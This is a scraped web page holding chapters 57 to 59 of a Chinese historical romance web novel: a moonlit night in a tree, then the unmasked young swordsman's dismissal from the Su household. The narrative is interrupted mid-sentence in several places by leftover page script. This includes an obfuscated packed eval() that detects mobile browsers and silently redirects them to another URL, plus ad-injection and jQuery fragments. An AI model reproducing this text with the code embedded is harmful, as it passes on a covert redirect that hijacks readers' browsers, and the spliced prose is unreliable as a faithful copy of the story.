去赏月 57去赏月 事已至此,苏祈春又悲伤起来,既然这个法子行不通,她总要再想些其他的法子,就这么,崔娘娘的身影浮现在她心头。 好巧不巧,到了第二日,崔夫人就来了,跟着崔夫人一起来的还有她的丫鬟小翠,那小翠一见到苏祈春,眼睛就上上下下地打量了苏祈春一番。 苏祈春微微颔首,朝着崔夫人说:“崔娘娘。” 几日不见,崔夫人瞧着与往日都不同了些,一双眼不再那么湿漉漉的,苏祈春唤她,她也只是匆匆扫了苏祈春一眼,转脸又拉着杨夫人说起话来。 崔夫人又带了些小翠家乡传过来的药,杨夫人接过来,欢喜不已,忙令茯苓收起来。 苏祈春瞧了那药一眼,因着心里挂念着陆之山的事,也并未太上心,径直走到崔夫人身前,将陆之山的事情细细地说了一回。 崔夫人听罢也是皱眉,她家老夫人与县令夫人倒是有些交情,她也只能再回去求求施老夫人,看此事可有转圜。 苏祈春感激不尽,待到崔夫人走后,茯苓将熬好的药端给杨夫人,苏祈春闻到一股奇怪的味道,但她此时心绪烦乱,想着既然是奇药,兴许是与其他的药物不同。 “这崔夫人送来的药就是有用,咱们夫人当真好起来了。”杨夫人喝完药,脸色肉眼可见地红润许多,茯苓在一旁笑着说。 “是啊,这药真是不错,连你爹爹都说,没见过这样的药,看来这世间之大,当真无奇不有。” 杨夫人叹息,这叹息里更多的是欢喜,她与苏知辛青梅竹马,最盼望的事就是能两个人白头到老,从前她说不在意自己的病,这里面更多的是假话。 哪有人真的甘愿早死呢? 她还盼着能早日见到苏祈春成婚,找到个好人家,她这心才能放下。 要说,这苏祈春也不小了,前些日子胡闹了一番,她的十四岁生日也没在身边过,这么想来,苏祈春还有一年就要及笄。 苏祈春垂着眸倚在椅子上沉思,浓黑的睫,鸦羽一般,垂在白雪儿似的脸上,看着真好看。 天气渐暖,苏祈春也换上了单衣,衣服轻而柔地贴在身上,勾出少女渐渐开始起伏的身姿。 杨夫人眼睛亮了一下。 她这个女儿,真的要长大了。 这些,苏祈春可没想那么多,她的脑子里全是,山哥哥,山哥哥,山哥哥。 又过了几日,苏祈春遣了几个小厮去施府打探消息,回来时,几个小厮耷拉着头,苏祈春心凉了一半,连着晚饭也吃不下去。 她歪在榻上,从枕头下面翻出一个木人,这木人是当时在白首村,她昏迷时,陆之山给她雕的。 那时候她仗着他看不见,就说陆之山雕的一点都不像,其实哪里不像了?仔细地看,一眉一目都有九分像。 回到家后,苏祈春就把这木人藏在了枕头下面,时不时拿出来看看。 苏祈春握着木人,不知不觉,天更黑下来,虫鸣鸟叫却一点点苏醒,一声声地叫着,反而衬得这世间更加寂静。 一阵喧闹声从远处传过来,苏祈春侧耳去听,似乎是老夫人屋子的方向。 她站起身,走到窗下,又听见一群丫鬟在窃窃私语,“你们听说了吗?陆公子回来了,是跟他娘亲一起坐着县令大人的轿子回来的,陆姑爷瞧见了,气得不得了,这不正在老夫人的屋子里大闹呢!” “啪嗒”一声。 苏祈春手中的木人掉到桌案上,丫鬟们听到声音回头看,见到是苏祈春,慌乱地往后退。 “女郎……” * 听到消息,苏知辛也从怀仁堂匆匆赶回来。 他听说县令本判了陆之山死罪,但苏泽兰去了一趟县衙,陆之山的死罪就被免了,县令大人还派人将陆之山和苏泽兰送了回来。 能让判了死罪的人活着出县衙可不是件容易事,陆重会多想也在情理之中,别说陆重了,连他这个哥哥都怀疑李县令的心思,毕竟,当年李县令可是为了苏泽兰才来到湛江县的。 这么想着,苏知辛脚下步子更快了些,刚到老夫人屋子门口,就听到一阵器皿破碎的声音。 他推门看,苏家的人都在,苏老夫人坐在圈椅上,捂着胸口,身旁韩嬷嬷扶着她,苏三爷和李夫人也站在一旁,只是不见苏川柏这小子。 陆重抓着苏泽兰的手,面对着苏老夫人,一双眼通红,而地上跪着的,则是陆之山和苏祈春。 苏祈春扶着陆之山,让陆之山靠在自己单薄的肩上,屋子里剑拔弩张,苏祈春像是没瞧见一样,眼睛红红的,只盯着陆之山。 苏知辛瞧着两人,出声让两人退下。 这里面的事,本就与两个小辈无关,还是不要牵连他们的好。 苏祈春刚出门,就听见身后传来一阵怒吼声,那声音撕心裂肺,她身子跟着响声颤了一下,脚步一顿,心里莫名地慌慌的。 到了心正庐,苏祈春替陆之山把着脉,拨开他袖口上破碎的衣服,瞧见里面的伤痕,鲜红的鞭伤覆盖在陈旧的刀伤之上,触目惊心,她心疼得直掉眼泪,陆之山却扯着苍白的嘴角笑:“纤纤又哭鼻子了。” 要不是因为他,她才不会哭鼻子呢,陆之山还笑她。 “哼,怎么?你不服气?”苏祈春拿话激他,“也就我这个小傻瓜会为你掉眼泪,你的朱家姐姐早把你给忘了。” 朱家姐姐那事儿,她可一直都还没忘! 陆之山艰难地抬起手,点点苏祈春的鼻子,扬了扬眉,“怎么?纤纤还在吃醋呢?” 这都什么时候了,陆之山还在说笑气她,不过,苏祈春才不吃这一套,“吃什么醋?你爱和谁玩和谁玩,我这个妹妹一点儿都管不着。” 苏祈春撅着的嘴都快能挂酱油瓶了。 屋内灯火阍暗,陆之山想到方才众人的架势,不安地伸出胳膊,轻轻地在苏祈春腰间揽了一下,想让苏祈春更靠近些,如此,他才能安心。 苏祈春瞪着眼回望他,那眼神似乎在说:你想干嘛? 陆之山笑笑,松开手,声音轻轻的,“好久没见纤纤了,真的想纤纤了。” 苏祈春本来还在跟陆之山生闷气,听到陆之山的话,鼻子又酸了,其实不止是陆之山这么想,她也是,自从陆之山来到苏家,这还是第一次,她和陆之山分开这么久。 “我才不信,你一定在想朱家姐姐,顺便想起我这个傻妹妹。”苏祈春嘴硬。 这个妹妹真的很爱吃醋,陆之山被苏祈春说得哑口无言,嘴角露出笑意,他伸手,捏捏苏祈春的小脸,肯定地说:“纤纤才不傻,纤纤是最聪明的小女郎!” 这还用他说吗?她本来就是最聪明的,苏祈春得意地晃晃脑袋。 苏祈春从百眼柜里取出些治外伤的药草,细细地碾碎,再将药泥放在一个小罐子里。 陆之山身上那么多外伤,真得好好地用一用药,可一走到陆之山身旁,她就犯了难了。 她说到底也是个女子,陆之山受伤的部位除了手腕,还有胳膊,胸膛……这让她怎么上药? 若是……若是朱家姐姐在就好了,她这时又念起朱家姐姐的好了。 陆之山见她拿着药罐踟蹰,心里猜到几分,笑道:“纤纤怎么还不动手?” 动手?动什么手?她一个大家闺秀,可不能这样,就算那个人是山哥哥。 “你等着,我去月雪阁,叫阿庆过来。”阿庆是月雪阁的小厮,手脚麻利,颇得人喜爱。 陆之山抓住她的手腕,拦住她,故意说:“阿庆他不会,要纤纤敷药。” 阿庆原来就在药铺干过活,对于敷药这一类事得心应手,怎会不会?这一听,就是陆之山在瞎说。 苏祈春不理他,扭身要走,陆之山却跟她作对一般,更紧地抓住她。 “你干嘛?”苏祈春不解地望他。 苏泽兰在陆重心中的分量无人可及,若是苏泽兰有差错,陆重什么事都能做的出来,陆之山方才听了几嘴,说是苏泽兰被苏老夫人逼着去求了李县令,而李县令又是曾经钦慕苏泽兰的人。 他本是死罪,苏泽兰一开口,两人就被好好地送回来,陆重是个心眼儿小的,怎能不多想? 他向来情绪不能自控,怒极之下会说出什么,都不一定了。 浮躁的感觉一点点爬上来,陆之山握紧苏祈春,借着手上的力站起来,低头看她,半是恳求地说:“不要走,是真的,” 屋内昏黄的灯火在苏祈春的侧脸上摇曳,他深深地望着她的眉眼,撩起她鬓前落下的碎发,一双手虚虚地挨着她的脸。 他叹一口气,轻的连屋子里的尘埃都毫无察觉,“是真的,想纤纤了。” 苏祈春手腕被他握得暖暖的,她亦看到他眼中分外清晰的脆弱,不舍,她的心也跟着牵动,疼疼的,酸酸的。 她的山哥哥关进大牢半个月,瘦了,憔悴了,整个人也褪去了曾经的模样,最软弱的部分隐隐约约地冒出来,衬得他特可怜,特心酸。 苏祈春踮起脚,伸手扫走陆之山眉宇上的灰尘,低下头,有些娇羞起来,“真的?我怎么这么不信?” 其实苏祈春心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533610|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚,是真的,她的山哥哥不会骗她,永远不会。 眼前的小女郎清纯,明媚,虽然低着头,但他想,她一定在心里偷笑,且甜丝丝的。 想到这里,陆之山的心平静了些。 “是真的,真的不能再真了。”陆之山俯身,额头短暂地碰了碰苏祈春的额头,满眼澄澈地盯着苏祈春的眼。 苏祈春被盯得浑身难受,脸也莫名地热热的,她伸手推推他,扭身道:“行行行,知道了,说吧,你想让我怎么陪你?” 眼见着是躲不过了,索性就屈服吧。 陆之山推开窗,窗外月明如水,又圆又大的月亮圆盘一般挂在暗紫色的天际上,陆之山扣在窗棂上的手指缩了缩,他回过头,伸臂揽住苏祈春的腰。 苏祈春还未反应过来,就被带到半空里,脚下虚浮无物,苏祈春本就害怕,谁知陆之山偏偏松开了揽着她的手,她只能紧紧抱着陆之山的腰身,才不让自己掉下来。 风声呼呼地在苏祈春耳边吹,她从陆之山的胸膛里抬起头来,气愤地问:“你要干嘛?” 差点儿就坠下去了,还好还好,她眼疾手快,抱住了陆之山,她的心砰砰砰砰地跳着,非要抱紧陆之山才能消解,可偏偏,陆之山越来越快,苏祈春怕得,紧紧地贴着陆之山的胸膛,恨不得和陆之山融为一体。 陆之山低了低头,下巴挨着苏祈春头顶的发,轻轻地蹭蹭,胸膛里暖意融融,连着他的身子都被融软了,他嘴角露出不经意的笑,脚下步伐更快了些,“抓紧了。” 都抓得这么紧了,还要怎么紧?苏祈春严重怀疑,陆之山是故意的,太可恨太可气!可惜,苏祈春不会武功,不然的话,才不会这么任人鱼肉。 她心里越想越气,她好好的一个女郎,像个八爪鱼一样挂在陆之山身上,像什么样子? 她这么想着,抬起头,瞧着陆之山脖颈上的一块肉,像是八爪鱼见到了肥美的小螃蟹,恨不得一口咬上去。 忽地,她的眼睛亮了亮,一口咬上去。 陆之山当即疼得“嘶”一声,脚下的步伐也跟着慢起来。 真好啊。苏祈春耳边的风都小了许多,她昂脸咯咯直笑:“怎么样?遭报应了吧?” 这算什么?小女郎的报应?他会吃这一套吗?陆之山想。 被咬的地方先是疼,后来变得酥酥的,麻麻的,一只小虫似的,只往他心里钻,他不自觉地腾出一只手,揽住苏祈春的腰,再也不肯松开。 他想,他真的,很吃这一套。 苏祈春有了陆之山的助力,再也不用抱他抱得那么紧了。 有了安全感,心里也跟着舒畅起来,她眯着眼,迎着风,双手张开,任凭风沐浴自己的全身。 舒服,真的舒服。 陆之山内力不多,只带着苏祈春在高高的梧桐树枝上停下,他扶着苏祈春坐好,自己坐在她身旁。 梧桐树枝稀疏且高耸,这样有一个好处,苏祈春不得不抱着他抓着他,可怜兮兮地挨着他。 真好。好得他都要忘了去担心陆重会说什么话,有这一刻就足够了。 苏祈春也觉得好,虽然她害怕掉下去,但坐在树枝上,她可以看到那么明亮清晰的月亮,甚至可以看到月亮上一个又一个的小坑,和阴影。 她呆呆地望着,不自觉靠在陆之山的肩膀上,喃喃问:“山哥哥,你说月亮上真的有嫦娥仙子么?” 传说中,嫦娥偷吃了灵药,一个人被关在广寒宫里,孤苦无依。 陆之山低头看她,想了想,道:“你希望有么?” 苏祈春拧眉,许久不说话。 陆之山等她说话,忽然间,真希望时间静止在这一刻。 过了很久,苏祈春直起身子,挽住陆之山的胳膊,望向他的眼睛,眼眸干净得让人心惊,她摇了摇头,“不知道,我只知道嫦娥仙子一个人在月亮里一定很孤单。” 不只是嫦娥仙子,任何一个被捧在高处的人都是这样,陆之山很清楚这种感觉。 苏祈春打了个喷嚏,对陆之山皱眉,皱到一半,又打了个喷嚏,她苦着脸说:“就像现在一样,又冷又饿。” 陆之山下意识地握住苏祈春的手心,却忽然发现,自己没有多少内力了。 苏祈春被冻得一直打喷嚏,完全没注意到陆之山的异常。 陆之山看着她笑,不动声色地将身上的外袍脱下来,披在她身上,揉揉她的脑袋,语气宠溺,“好了,快些赏月吧。” 也许有一天,再也没办法和纤纤一起赏月了。 他得好好珍惜。 58. 离与别(上) 58 回到苏府时,天已完全黑下来。 为着陆之山的事,苏祈春连着半月都没睡好觉,这一下,陆之山平安归来。苏祈春卸下心里的担子,整个人完全放松下来,是以睡得格外快,格外沉。 她趴在陆之山的背上,一张小脸埋进陆之山脖颈里蹭啊蹭啊,时不时的,口水还会流下来,流得陆之山满脖子都是,又黏又腻。 陆之山踏着枝桠,黑暗里,朝苏府疾驰而去,听到身后的小女郎起伏的鼾声,就觉得,特别安心。 苏府里,门户紧闭,各个院落屋子漆黑一片,只有门前挂着一盏灯,幽幽地映出昏暗的光。 陆之山轻功飘逸,也不必敲门,轻轻一跃,便跨过院墙,落在院内。 只是如今,陆之山功力弱了许多,再加上在这牢里,他也吃了不少苦,故而落地时,声响大了些。 苏祈春在睡梦里鼓囊几声:“不……不要……吵……困……” 陆之山不敢动,站在原地,直到苏祈春安静下来,他确认她已睡着后,他才缓缓迈步。 只是这步子,依旧很轻,他害怕,害怕一个不小心,这小小的人儿又醒了,那样的话,就糟了。 其实被吵醒又能是什么了不起的大事?大不了再继续睡下就行了。但陆之山偏不。 就是要苏祈春好好地睡。最好一点儿都不被打扰,直到睡够了,睡舒服了,再美滋滋地起床。 睡了个好觉,苏祈春一定会心情格外地好,人也会跟着散发光亮,小女郎的一双眼睛又会亮起来。 陆之山想着,想到这半月来他睡不好觉的滋味,心里暗暗叹口气,他可不能让苏祈春那样。 觉明院灯火俱灭,陆之山脚步极慢,生怕惊扰了苏祈春。快到屋门时,他瞥眼看了眼苏祈春屋里半开的窗户,顿了顿脚步,很快,朝屋门而去。 还是不要翻窗的好,翻窗,动静大。 他抬手推开门,屋里比屋外还要黑些,屋外好歹还有一轮月光,屋内可是什么都没有。 不过,他从前瞎过,黑暗对他来说并不可怕,就算没有一丝光亮,他也能靠着耳力分辨出周围的一切。 这不,刚进屋子,陆之山就发现了一屋子不算和善的目光,他愣了一瞬,装作没看见一般,从众人面前走过,进到苏祈春的屋里。 有人在黑暗里动了一下,脚步摩擦地面发出声响,陆之山骤紧眉头,低头看了看熟睡的苏祈春,见她没被打扰,才放下心,放快脚步将她放进床榻内。 出门时,他扭头,望一眼苏祈春安然的睡颜,这一眼,长到令人恍惚,可他却不觉得,多年后,他还在心里叹,该多看几眼的。 门外传来沉而重的脚步声,一步步,像踩在陆之山心里一样,压得他喘不过气,他知道,他没有时间了,于是匆匆地别过眼,眼角余光掠过桌案上被月光笼罩的木人。 那木人,可真好看啊。 门外急促的脚步声像阵阵呼唤,陆之山收起目光,走了出去。 “你——” 一个又急又重的声音响起。 陆之山止住他的话,仔细听听苏祈春房里的动静,许久,才压低声音道:“出去再说。” 出去了之后,陆之山觉得还不行,于是一行人来到了老夫人的屋里,这里离觉明院最远,想必定不会扰了苏祈春安眠。 其余人也觉得这地方好,但他们是想,此事有老夫人做见证是最好不过的。 可怜的老夫人,晚上折腾了那么一遭,刚睡下,又被叫起来,她满脸不乐意,韩嬷嬷揉揉她的太阳穴,宽慰道:“把这件事情解决了,咱们苏家也就没什么事儿了!” 可不是吗?这一句可把苏老夫人给提醒到了,这半年来发生的事,不都和他有关吗? 苏老夫人脸上透着不乐意,这他们苏家怎么就被一个哪来的野孩子给折腾了? 她越想越气,也不待韩嬷嬷扶她,拄着拐杖就往外走,韩嬷嬷在后面追都追不及。 苏家的几个男人,包括陆重,都在。 苏老夫人耷拉着眼,端起一旁的茶水抿了口,透过氤氲的茶雾,苏老夫人目光瞥过陆之山,心里升起些不该有的可怜。 要说,这孩子,真的长得好,一袭白衣,眉若远山,脸如白玉,尤其那浑身的气度,别说是施家的那几个公子哥儿了,就是皇帝的孩子也未必及得过。 只是,可惜了,再好又有什么用,不是苏家的人,就不该待在这儿,更何况,他还和那江湖人有牵扯,那就更不能用了。 当今这世道,江湖人是江湖人,老百姓是老百姓,谁也别惹谁,谁也别牵累谁,这,是最好不过的了。 想到这儿,苏老夫人清清喉咙,缓缓道:“你是谁,我已经知道了。” 她顿了下,等着眼前这少年的反应,可偏偏,他一点儿反应都没有。神情淡漠,无悲无喜,连嘴角的弧度都没有半分变化。 苏老夫人心里有些不舒服,依他来想,身份被揭穿了,这不说恼羞成怒,最起码会面红耳赤吧?谁知道这人脸皮忒厚,跟没事儿人一样。 她顿时觉得无趣,但众人都看着,她也只能压下心下的烦闷,继续说:“我们苏家,是清清白白的人家,当时许你住在这里,是因为你是泽兰的孩子,如今真相揭开,你与苏家毫无关系。苏家,没办法留你。” “你也不要怪我们薄情,毕竟你不是苏家的什么人,我们连你叫什么都不知道,更不知道你从哪来,在哪住,不过,你可别想多,我们也无心窥探你什么。” 一个不相干的人,若还要刨根问底,她还怎么活这么久? 想得多,知道的多,便容易发愁,早死。 她接着道:“其实你怎么样,根本与苏家毫无关系,苏家为你看好了病,治好了眼,按理说,你还当感谢苏家一番,但这都不重要,治病救人原就是大夫的本分,只是既然你不是苏家人,还是去找你的家人更好些。” “还有。”苏老夫人沉下了脸,望着眼前的少年,“你是江湖人,对吧?” 少年微微颔首。 苏老夫人又问:“那你杀过人吗?” 少年清冷的目光淡了淡,他点头。 苏老夫人倒吸一口凉气,屋内其余人也不平静起来,她忙道:“我们苏家是安守本分的老百姓,向来不与江湖人打交道,我本想着,好歹有这半年的相处,纵然你不是泽兰的孩子,留你住几日又何妨?但若你是江湖人,就不行了。” 苏老夫人重重地叹口气,“我们苏家,是清白人家,要让人家知道苏家和江湖人有牵扯,还有谁敢来这儿看病呀!你们江湖人打打杀杀的,见得多了,这老百姓可害怕呀!” 苏老夫人说得眼泪直流,显得特别不舍。 其实她说这么多,无非就是想让这个不该在这儿的人老老实实地走,这话,屋子里的人都听得明白。 事已至此,陆重也一副无所谓的样子,本来他还担心苏泽兰会出什么事,但事情真的被揭开后,苏泽兰也没有想象中的崩溃。 本来他还在后悔,后悔苏老夫人刚说完那句“那也是你儿子,为了儿子牺牲点儿怎么了?”,他就立刻血涌上头,回了句,“他就是一个野孩子,跟我和兰儿没半点儿关系!” 话一说完,陆重明显感到身旁的苏泽兰浑身颤了一下,他刚想改口,又见苏泽兰神色平静,索性大着胆子,将所有事一股脑地吐露出来。 苏泽兰脸上没什么表情,其余的人可都骇了一跳,尤其是苏知辛,差点儿指着他的脸大骂。 这些他也能理解。如果不是他隐瞒了这少年的身份,苏祈春一个清白人家的小女郎怎会和这种江湖人拉扯,还背着家人,带他千里迢迢地去看病。 不过,他可管不了那么多,他能照顾好兰儿已经不错了。 这不,他把一切揭开后,所有人都后悔,后悔不该让苏泽兰受这个委屈。 怎么不是?他的兰儿就不该受这个委屈。还好,知道这个消息后,他的兰儿没有崩溃,他的心安静下来。 早知道是这样,他该早点儿说出真相的。 苏知辛恨不能早些知道“陆之山”的真实身份,他的女儿天天和这样的杀人犯在一起,他想想,就觉得后怕,心里暗暗下定决心,日后要好好看管苏祈春,不能让她再跟这些 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不三不四的人待在一起。 等了许久,苏老夫人也没听到回话,她皱眉,其实,她实在不想说些难听的话,也不是为了别的,就是眼前这个少年可是杀过人的,她怕。 不过,她眯眯眼,家丁早就埋伏在府内,相信也不会有太大的事情。 她清清喉咙,催促道:“你是今夜就走,还是明日?” 总之,这少年,不能再在苏府呆下去。 少年抬起头,盯了她一瞬,她被盯得脊背发凉。 少年向前一步,撩袍跪下,对着她行了三个大礼,起身道:“多谢祖母这些时日的照料,我就不多叨扰了,今夜就走。” 说完,少年转身,往门外走去。 少年身子清瘦,许是在牢里受苦,连身上的袍子都变得大了,在夜里,显得空荡荡的。 苏老夫人没料到少年如此好说话,她还以为还要费一番唇舌呢? 说到底,终究有半年的感情,尤其是方才,那三个大礼让她的心也跟着牵动起来。 她出声道:“等等。” 少年停步。 她又道:“今夜太晚了,夜深露重,明日再走吧。” 听完这句话,少年白色的衣衫在风中晃了晃,像蝴蝶挥动翅膀。 翌日,苏祈春还在梦里,就被茯苓叫起来,她揉揉眼睛,不解地问:“这么一大早,干什么呀?” 茯苓把她拉起来,给她穿上一身绯红色的衣衫,解释道:“女郎,今日要出门,当然要早些起床了。” 昨夜苏祈春跟着陆之山在树杈子上坐了许久,两个人一起看月亮,这几日苏祈春没休息好,早就困了,但她一直忍着。 因为她实在也很想念山哥哥,那些和陆之山斗嘴的话都不是真的,她其实特别特别想念他。 所以她就努力地睁着眼,想和陆之山多呆一会儿,一起多看会儿月亮。 昨夜的月亮可真美啊,她此时想起来,也觉得美,若是能和山哥哥看一辈子的月亮就好了。 这个想法被茯苓一口否决,茯苓拿了篦子给苏祈春梳头,说道:“陆公子迟早是要回去的,他来苏家本来就是为了看病,如今病好了,说不定,一两天就走。” 茯苓说的这话可不是空穴来风,不然的话,苏知辛也不会要她带着苏祈春出去,苏祈春若见到陆之山不在了,定会怀疑,索性现在就给她提个醒。 苏祈春的眼尾沾了水一般地垂下来,这里始终是苏府,不是陆之山的家,再说,陆之山迟早要成亲,成了亲也会搬出去的,她想的那些也只能是想想。 她懂得这许多道理,可是心里就是过不了那个坎儿,就是会难受会伤心。 古人说,达人知命。但苏祈春却觉得,就算知晓再多的道理,也很难彻底地摆脱人心的杂念,哪怕明明知道就是会这样,心底也照样会忍不住挣扎。 就像她知道山哥哥始终会离开,她改变不了什么,她应该坦然地祝贺他,可心里偏偏生出些不愿意来,不愿意接受,不愿意让他走。 她清楚她应该愿意,可她就是控制不住地不想愿意。 苏祈春垂下头,声音低低的,“知道了。” 想了想,她又说:“今日去哪?” 茯苓答:“施家。” 今日施清荷十三岁生日,施府前几日就派人送了帖子,因着当时陆之山被抓走,苏家上下乱成一团,这才忘了这事儿。 昨夜,苏知辛想着如何将苏祈春支走,可巧,就在案头上瞧见了这帖子。 施清荷和苏祈春年龄相当,又常常来往,以她生辰为由,苏祈春定不会不去。 苏祈春听罢,点点头,她十四岁了,施清荷也十三岁了,时间真的过得太快了。 她得去,只是,这今日不知怎么了,心里莫名的烦躁,连着整个人都闷闷的,笑也笑不出。 一直到了宴席上,苏祈春强撑着陪着施清荷说了半晌的话,嘴唇发白,眉头皱着,连施清荷这般大大咧咧的小女郎也瞧出苏祈春的不对了。问她,“纤纤姐姐,你怎么了?” 苏祈春按着胸口的位置,勉强笑笑,“没什么,我出去透透气。” 59. 离与别(中) 59离与别(中) 天刚刚亮,从云缝间泄出来的日光铺满泥与土,月雪阁里,丫鬟小厮早早起来,领了自己的差事,各自忙碌。 没一会儿,后院小厮的门被踢开,一个褐色衣衫的小厮从屋里走出来,对着天光,着实惬意地伸了个懒腰。 他大摇大摆地走到前院,嘴里忍不住哼起小曲儿,看样子心情颇好,路过的丫鬟问:“阿庆哥,这是有什么喜事?这么高兴?” “哪有什么喜事呀!”说着没有喜事,可阿庆的嘴角却翘得简直要上了天。 “切,我才不信呢,你瞧你乐的,当谁看不出来呢!” 阿庆闻言摸摸自己的脸,心里嘀咕:当真有这么明显? 说起来,他不过是想自己终于不用伺候这个陆公子,可以回到药铺,继续干他的老本行,当一个老老实实的小药童。这是他一直以来的愿望,如今终于要实现了,多少是有些高兴。 不过,如果不是听到别人说,他还真料不到自己会开怀得如此明显。但仔细想想也在情理之中,本来他就是在药铺给人抓药的,每日与药为伍,干得好好的,猝不及防被人抓来当小厮,心里多少有些怨气。 但这都无所谓了,总之过了今天,苏家再没有什么陆公子,他也可以继续在怀仁堂干活。 他心里想着,不由得幻想出以后回到药铺的日子,虽然辛苦,但是自己想做的事,想必也不会觉得累。 他想得入神,连身后多了一个人也未发觉,直到那人开口:“阿庆。” 阿庆浑身打了个哆嗦,一股冷意从背后直透入心口。 阿庆颤颤地回头,望了眼眼前的这个白衣少年,脸上的笑很快收敛得一干二净,“陆公子。” 白衣少年轻轻地笑,伸手想要展平阿庆肩膀上的褶皱,阿庆却如临大敌一般后缩。 其实这也不能怪阿庆,一直以来,他做“陆之山”时都不苟言笑,见到谁都一副冷冷的样子,如今身份揭穿,他还是个江湖人,苏家人难免更怕他。 白衣少年的手停在空中,短短一瞬后,他不懂声色地缩回手来,释然地摇头笑笑。 天光落在他眉宇之间,他叹气,从阿庆身边走过,声音被温煦的光融化得不成样子,“再见啦,阿庆,多谢你照顾我。” 少年的声音很轻,可距离那么近,阿庆还是听得很清楚,这是他头一次听到他这么温柔的声音,从前他只会这么和苏祈春说话。 或者说,从前的“陆之山”只和苏祈春说话,他们这些伺候的人都不能入他的法眼。 再怎么说,阿庆也和这少年相处了一些时日,骤然听到他如此说话,难免有些触动,他回过身,望见少年,有些怔住。 少年一袭白衣,站在青松树下,青松树的松针随风而落,针尾处闪着光。 少年不说话,等到松针落在肩上,他轻轻踱步,在青松树下走了又走。 阿庆忽地觉得很悲伤,说不出的那种悲伤。 这少年不是他们的陆公子,陆重甚至连送都不愿送他,苏老夫人也说,让他快些走。他也真的很知情识趣,丝毫不拖泥带水,答允了苏老夫人今日就走,像是对这个地方没有一丝留恋。 可此时此刻看到这些,阿庆就知道,这个少年心里不是没有不舍。 “陆公子……”阿庆朝着青松树走了两步。 白衣少年回头,淡然地笑,“我不是你的陆公子。” 阿庆被这句话噎住,脚下的步子也跟着停住。 白衣少年依然在笑,只是这笑,阿庆看得心里发酸,白衣少年指尖在石桌上摩挲片刻,又很快离开,“我会早些离开,不让苏府的其他人发现,只不过……” 这里的其他人,阿庆知道是苏祈春,可阿庆也听说,苏祈春一大早就被支走,等到她回来,便是木已成舟,她什么都改变不了。 “只不过,”少年低头,脸上闪过一丝极难察觉的凄苦,很久,他没再把话说下去,反而道:“我走了,阿庆。” 少年从阿庆身边走过,带起一阵凄冷的风,阿庆望着少年的背影,又望向青松树,脑子里忽然闪过,青松树下的许多。 有少年独自站在树下的孤寂,有小女郎陪着少年治病,小女郎的蹙眉,有少年轻拍小女郎的背,安心的笑,还有,小女郎捧着兔儿灯给少年看,小女郎从眼里心里溢出来的欢喜…… 就是阿庆想起来,鼻子也会跟着酸,难怪这少年方才在树下盘桓许久,也许他也很怀念那时候的时光。 苏老夫人今日起得也早,昨夜歇下后,脑子里翻来覆去做些奇奇怪怪的梦,一整夜都没睡好,这一大早,又被韩嬷嬷叫醒。 “老夫人。”韩嬷嬷掀开帐幔。 “什么事?”苏老夫人睡得不好,半边额头沉沉地疼。 韩嬷嬷附在苏老夫人耳边说了几句,苏老夫人霎时意识清明,腰挺直了些,喃喃道:“没想到他还挺有孝心的。” 不仅苏老夫人没想到,连韩嬷嬷也万料不到。 今日一早,天刚破晓,她从床上起来,刚洗完脸,就听匆匆跑进来的小丫鬟磕磕绊绊地说,说那个假的陆之山跑进院子里来了。 小丫鬟也不过十一二岁,素日里听多了坊间关于江湖客的传言,对他们怕得不行,生怕一个不小心惹到他们,她就会人头落地。 韩嬷嬷见她如此害怕,还以为她被欺负了呢,又想到这半年里,这个假的陆之山各种伪装,连苏祈春都被他骗得离家出走,心里顿时气不打一处来。 她气势汹汹地出了门,准备好好教训这小子一顿,谁知刚走到苏老夫人的房门外,她就顿住了,脸上的神色也由阴转晴。 白云苍天下,身着白衣的少年身姿清瘦,如瀑的发用一根简朴的木簪绾住,更显其疏朗气质,他默默地走到苏老夫人的房门外,撩袍跪下。 韩嬷嬷侧了侧身子,躲在墙角,听到三声格外清晰的声音,那是头骨与青石砖碰撞的声音。 她心里忽地掀起一阵波澜。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 昨夜这少年也曾跪了一番,不过那时她只当是他为了讨苏老夫人欢心而做的戏,而此时,这房门外空无一人,苏老夫人也未醒,再说他是做戏也有些勉强了。 她垂头思索,脚底多出来一片阴影,她抬起头,心砰砰跳,但见少年冷冷地路过她,清隽的眉眼直视前方,但又好像在某一瞬间,不留痕迹地扫了她一下,韩嬷嬷下意识地后背发寒。 少年走后,韩嬷嬷稳稳心神,忙跑到苏老夫人房里,将方才发生的事说了一番。 苏老夫人也是没想到。 她不愿意管别人的闲事,尤其是这陌生人的事,但仔细想想,到底相处了一些时日,心中难免有些不舍,她摇了摇头,道:“也罢,就送他这一遭。” 韩嬷嬷“哎”了一声,扶着苏老夫人起床梳洗,又叫人去拦住那少年。 要出门时,韩嬷嬷问了一嘴,“不然把知辛也叫上?” 苏老夫人摇头,“他才不会来,我的儿子我清楚,再说,这么一个人,不值得他来送。” 韩嬷嬷点头,扶着苏老夫人来到少年面前,才不过半个时辰,天忽然阴下来,冷灰色的云层间飘起丝丝缕缕的雨,少年身上的白衣很快被沾上斑驳的雨水。 苏老夫人站在门内,对着他说:“今日你便要走了,你是江湖人,自有江湖人的去处,回到你原本的位置对你对苏家都是好事。” “你不要怪我们绝情,你和苏家本无瓜葛,苏家为你治好了眼睛已经是仁至义尽。” “不过,你也不需要记得些什么,苏家不需要你偿还什么,只要你以后莫要再回来,好好过你的日子就好。” “这里有一些银两,你路上带着用,还有阿庆会送你一程,从今以后,你就不是陆之山了。” 苏老夫人的话说完,韩嬷嬷拿出一袋银两,放到少年面前,少年低头看了看,目光掠过那袋银钱,侧身面对苏老夫人,深深地揖下身,声音比这漫天的雨还要冷冽,“多谢老夫人这段时日的照顾,我走了。” 少年说完转身,头也不回地走进雨里。 韩嬷嬷捧着一袋银两,追出去几步,“别走啊,这些银两你拿去!” 